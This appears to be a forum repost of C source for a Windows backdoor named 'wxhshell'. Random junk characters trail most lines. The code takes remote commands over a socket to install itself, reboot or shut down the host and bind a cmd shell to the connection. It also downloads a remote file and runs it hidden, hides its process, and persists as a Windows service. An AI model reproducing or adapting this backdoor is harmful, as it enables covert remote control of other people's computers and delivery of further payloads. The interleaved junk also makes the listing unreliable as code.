  } ;d<RP VE:  
  // 安装 ,V &RpKek  
  case 'i': { {Rtl<W0  
    if(Install()) UF PSQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `xsU'Wd^<  
    else g9G 8;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q?$<{Z"  
    break; !n3J6%b9y/  
    } !SAR/sdXf  
  // 卸载 jrN"en  
  case 'r': { i%# <Hi7  
    if(Uninstall()) |5g1D^b]s^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  2p;N|V  
    else oi\e[qE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L(`Rf0smt  
    break; 94'0X  
    } d9pZg=$8  
  // 显示 wxhshell 所在路径 wvz_)b N~A  
  case 'p': { 7-j=he/  
    char svExeFile[MAX_PATH]; <2ymfL-q  
    strcpy(svExeFile,"\n\r"); #xNXCBl]O  
      strcat(svExeFile,ExeFile); &BE'~G  
        send(wsh,svExeFile,strlen(svExeFile),0); 4h$W4NJK  
    break; ;oivG)hJl  
    } zC|y"PTw  
  // 重启 LWIPq"  
  case 'b': { Uu(FFd~3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4n}^1eQ9  
    if(Boot(REBOOT)) 8omk4 ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*=qleC3  
    else { K!qV82b='{  
    closesocket(wsh); dFzlcKFFD  
    ExitThread(0); ;Y%.m3  
    } o06vC  
    break; =x-@-\m  
    } s\io9'Ec  
  // 关机 &- 2i+KjEX  
  case 'd': { ES9|eo6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B`/p[U5  
    if(Boot(SHUTDOWN)) TW!>~|U)y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%U'>F?  
    else { <69Uq8GI  
    closesocket(wsh); sHf.xc  
    ExitThread(0); BjAmM*k  
    } m8NKuhu  
    break; [.LbX`K:  
    } t`eUD>\  
  // 获取shell E;Q ,{{#  
  case 's': { 09w<@#  
    CmdShell(wsh); qcR"i+b  
    closesocket(wsh); y)D7!s  
    ExitThread(0); xq\A TON  
    break; +lED6 ]+%  
  } ';Ew-u  
  // 退出 x$;kA}gy  
  case 'x': { \%$z!]S>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <ecif_a=m  
    CloseIt(wsh); +"F9yb  
    break; ht5eb"c+ 8  
    } qgk6 \&K[  
  // 离开 CI~ll=9`  
  case 'q': { (vb8Mk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y=tx kN  
    closesocket(wsh); yVl?gGgh  
    WSACleanup(); E'wJ+X9 +  
    exit(1); BZ"+ ND9m_  
    break; 2#t35fU  
        } fFNwmH-jv  
  } -$+`v<[r  
  } %VmHw~xyF:  
UCL aCt -  
  // 提示信息 _7Rp.)[&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o<\9OQ0  
} KL4vr|i,  
  } |}KNtIX\G  
_5JwJcQ  
  return; bj`mQMC  
} <yz&> +9,  
d/!R;,^  
// shell模块句柄 M73d^z  
int CmdShell(SOCKET sock) }J-+^  
{ /`vn/X^?^  
STARTUPINFO si; 3r]N\c  
ZeroMemory(&si,sizeof(si)); 1Kc[ ).O1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +`s%-}-r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o:8*WCiqrN  
PROCESS_INFORMATION ProcessInfo; N]iu o.  
char cmdline[]="cmd"; "JJEF2e@Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sm>5n_Vw  
  return 0; %jnSJjcq  
} k7\ ,N o}  
\.,qAc\[  
// 自身启动模式 s+l3]Hd  
int StartFromService(void) 8O_0x)X  
{ OPP^n-iPr  
typedef struct =vc8u&L2  
{ -T+7u  
  DWORD ExitStatus; 1w/Ur'8we  
  DWORD PebBaseAddress; .,$<waGD  
  DWORD AffinityMask; e ) ?~  
  DWORD BasePriority; k}h\RCy%f  
  ULONG UniqueProcessId; \WN ,.  
  ULONG InheritedFromUniqueProcessId; kvo V?<!  
}   PROCESS_BASIC_INFORMATION; *%,{<C,Y  
n13#}i {tm  
PROCNTQSIP NtQueryInformationProcess; oR_qAb  
H:jx_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @fz!]/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DLP G  
4T<4Rb[  
  HANDLE             hProcess; isiehKkD  
  PROCESS_BASIC_INFORMATION pbi; g!*5@k|C  
A;\1`_i0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E)}& p\{E  
  if(NULL == hInst ) return 0; 0`D` Je<t  
]#*S.  r]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eK)R=M@i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wTw)GV4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U:1cbD7|3  
<g4[p^A  
  if (!NtQueryInformationProcess) return 0; dr~6}S#  
d%wy@h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~#^suy?  
  if(!hProcess) return 0; ZJ Ke}F`l  
|2t1m 6\j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; psaPrE  
1;8%\r[|5^  
  CloseHandle(hProcess); R5KOai!  
Vw>AD<Rl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + <4gJoI  
if(hProcess==NULL) return 0; {k"t`uo_  
.%x%b6EI  
HMODULE hMod; EpsjaOmAF  
char procName[255]; G9 g -EP\  
unsigned long cbNeeded; b$W~w*O   
XGCjB{IV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `k]2*$%  
c`E0sgp  
  CloseHandle(hProcess); j2GTo~muq  
r\."=l  
if(strstr(procName,"services")) return 1; // 以服务启动 : FN-.1C  
Q dPqcw4+X  
  return 0; // 注册表启动 MX )mm^A  
} 9m+ejTK{U  
4A {6)<e  
// 主模块 5ca!JLs  
int StartWxhshell(LPSTR lpCmdLine) s'4%ZE2Dr  
{ 6a!b20IZh  
  SOCKET wsl; 3"O&IY<  
BOOL val=TRUE; Zb4+zps^-  
  int port=0; F +Dke>j  
  struct sockaddr_in door; + \jn$>E  
F>lM[Lu#  
  if(wscfg.ws_autoins) Install(); \WPy9kRU  
pAtt=R,Ht  
port=atoi(lpCmdLine); ya'Ma<4  
;#XF.l,u  
if(port<=0) port=wscfg.ws_port; $No^\.mV  
-SlAt$IJ  
  WSADATA data; Is[n7Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3\2^LILLO  
i*jnC>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K0'= O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9'Cu9nR  
  door.sin_family = AF_INET; %$6?em_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #DA,*  
  door.sin_port = htons(port); ZE[NQ8  
E0*62OI~O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %% +@s   
closesocket(wsl); 9 Eqv^0u  
return 1; 49tJ+J-N  
} "BA&  
rKkFflOVO  
  if(listen(wsl,2) == INVALID_SOCKET) { t3<HE_B|  
closesocket(wsl); :qvA'.L/;z  
return 1; '>:%n  
} t;b1<TLn0  
  Wxhshell(wsl); X- P%^mK  
  WSACleanup(); q-r5zGI  
C {G647  
return 0; 4&<zkAMR  
lFV\Go  
} l9+)h }  
bo &QKK  
// 以NT服务方式启动 |[iEi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?OBB)hj  
{ bC,SE*F\  
DWORD   status = 0; \=j|ju3  
  DWORD   specificError = 0xfffffff; $xK(bc'{  
|]'gd)%S\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B*^8kc:)L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L"'L@ A|U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0IxHB|^$  
  serviceStatus.dwWin32ExitCode     = 0; GiKmB-HO  
  serviceStatus.dwServiceSpecificExitCode = 0; M5`wfF,j  
  serviceStatus.dwCheckPoint       = 0; &`}ACTY'P  
  serviceStatus.dwWaitHint       = 0; -ze@~Z@  
?MD\\gN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oR}'I  
  if (hServiceStatusHandle==0) return; N6h.zl&04  
keS%w]87  
status = GetLastError(); W:1GY#Pe  
  if (status!=NO_ERROR) 6BObV/S Jg  
{ GC)xQZU)s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !$!"$-5  
    serviceStatus.dwCheckPoint       = 0; vqRW^>~-B  
    serviceStatus.dwWaitHint       = 0; 0c]3 ,#  
    serviceStatus.dwWin32ExitCode     = status; WZf}1.Mh*  
    serviceStatus.dwServiceSpecificExitCode = specificError; K~14;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #4{9l SbU  
    return; ^fhkWx4i  
  } rlSflcK\\(  
Wa'm]J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }>?"bcJ  
  serviceStatus.dwCheckPoint       = 0; 2@f?yh0  
  serviceStatus.dwWaitHint       = 0; t**o<p#)f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JDm7iJxc_  
} F}4jm,w  
IfpFsq:  
// 处理NT服务事件,比如:启动、停止 +"D*0gYD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z/t+t_y  
{ Q*caX   
switch(fdwControl) h7[PU^m  
{ `YPNVm<3)  
case SERVICE_CONTROL_STOP: QiQO>r  
  serviceStatus.dwWin32ExitCode = 0; yWZ%|K~$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gf U!sYZ  
  serviceStatus.dwCheckPoint   = 0; ^ ,yh384  
  serviceStatus.dwWaitHint     = 0; <rFKJ^B  
  { `"<tk1Kq"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hv<jf38  
  } 4&^BcWqA*f  
  return; @G0j/@v  
case SERVICE_CONTROL_PAUSE: }|4dEao\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~U_,z)<`)c  
  break; I:,D:00+  
case SERVICE_CONTROL_CONTINUE: VH5Vg We  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; or..e  
  break; l/@t>%  
case SERVICE_CONTROL_INTERROGATE: <e7  
  break; jwZBWt )5  
}; psZ #^@>mJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FT.;}!"l  
} K(B|o6[  
7cMSJM(]G  
// 标准应用程序主函数 XhxCOpO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ya_Jf*  
{ E0a &1j  
"R v],O"  
// 获取操作系统版本 "=9kX`(1y  
OsIsNt=GetOsVer(); `+O7IyTM A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T?'Vb  
?\NWKp  
  // 从命令行安装 c;pv< lX'  
  if(strpbrk(lpCmdLine,"iI")) Install(); V_Oj?MMp n  
GV T[)jS  
  // 下载执行文件 "iY=1F"\R  
if(wscfg.ws_downexe) { +nT(>RJR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +>wBGVvS  
  WinExec(wscfg.ws_filenam,SW_HIDE); jsOid5bs  
} 9k[>(LC  
KWH l+p L  
if(!OsIsNt) { 2[qlEtvQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 O#962\  
HideProc(); oWo/QNw9  
StartWxhshell(lpCmdLine); \tx4bV#  
} oyeJ"E2  
else j"c30AY  
  if(StartFromService()) 7r4|>F  
  // 以服务方式启动 -*T<^G;rK  
  StartServiceCtrlDispatcher(DispatchTable); HM(S}>  
else 08TeGUjJ  
  // 普通方式启动 96FS-`  
  StartWxhshell(lpCmdLine); ^<VJ8jk<  
l@OY8z-_  
return 0; gLL8-T[9  
}
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只看该作者 1 发表于: 2006-10-10
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